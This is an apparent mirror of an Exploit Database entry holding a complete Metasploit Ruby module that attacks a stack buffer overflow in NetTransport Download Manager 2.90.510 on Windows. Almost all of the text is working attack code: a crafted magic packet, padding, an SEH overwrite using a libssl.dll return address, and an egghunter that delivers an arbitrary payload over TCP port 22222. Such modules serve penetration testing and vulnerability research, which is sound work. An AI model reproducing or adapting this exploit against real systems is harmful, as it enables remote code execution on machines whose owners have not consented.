NetTransport Download Manager 2.90.510 – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 37 阅读

• 作者： Metasploit
  日期： 2010-08-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16439/

• ##
  # $Id: nettransport.rb 10150 2010-08-25 20:55:37Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Egghunter
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'NetTransport Download Manager 2.90.510 Buffer Overflow',
  			'Description'=> %q{
  					This exploits a stack buffer overflow in NetTransport Download Manager,
  				part of the NetXfer suite. This module was tested
  				successfully against version 2.90.510.
  			},
  			'Author' 	 =>
  				[
  					'Lincoln',
  					'dookie',
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10150 $',
  			'References' =>
  				[
  					[ 'OSVDB', '61435' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/10911'],
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'seh'
  				},
  			'Payload'=>
  				{
  					'Space'=> 5000,
  					'BadChars' => "\x00\x20\x0a\x0d",
  					'StackAdjustment' => -3500,
  					'DisableNops' =>'True'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Jan 02 2010'))
  
  		register_options(
  			[
  				Opt::RPORT(22222)
  			], self.class)
  	end
  
  	def exploit
  		connect
  
  		magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"
  		magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"
  		magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"
  
  		# Unleash the Egghunter!
  		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
  
  		sploit = magic_packet
  		sploit << rand_text_alpha_upper(119)
  		sploit << generate_seh_record(target.ret)
  		sploit << make_nops(10)
  		sploit << eh_stub
  		sploit << make_nops(50)
  		sploit << eh_egg
  
  		print_status("Trying target #{target.name}...")
  		sock.put(sploit)
  
  		handler
  		disconnect
  	end
  
  end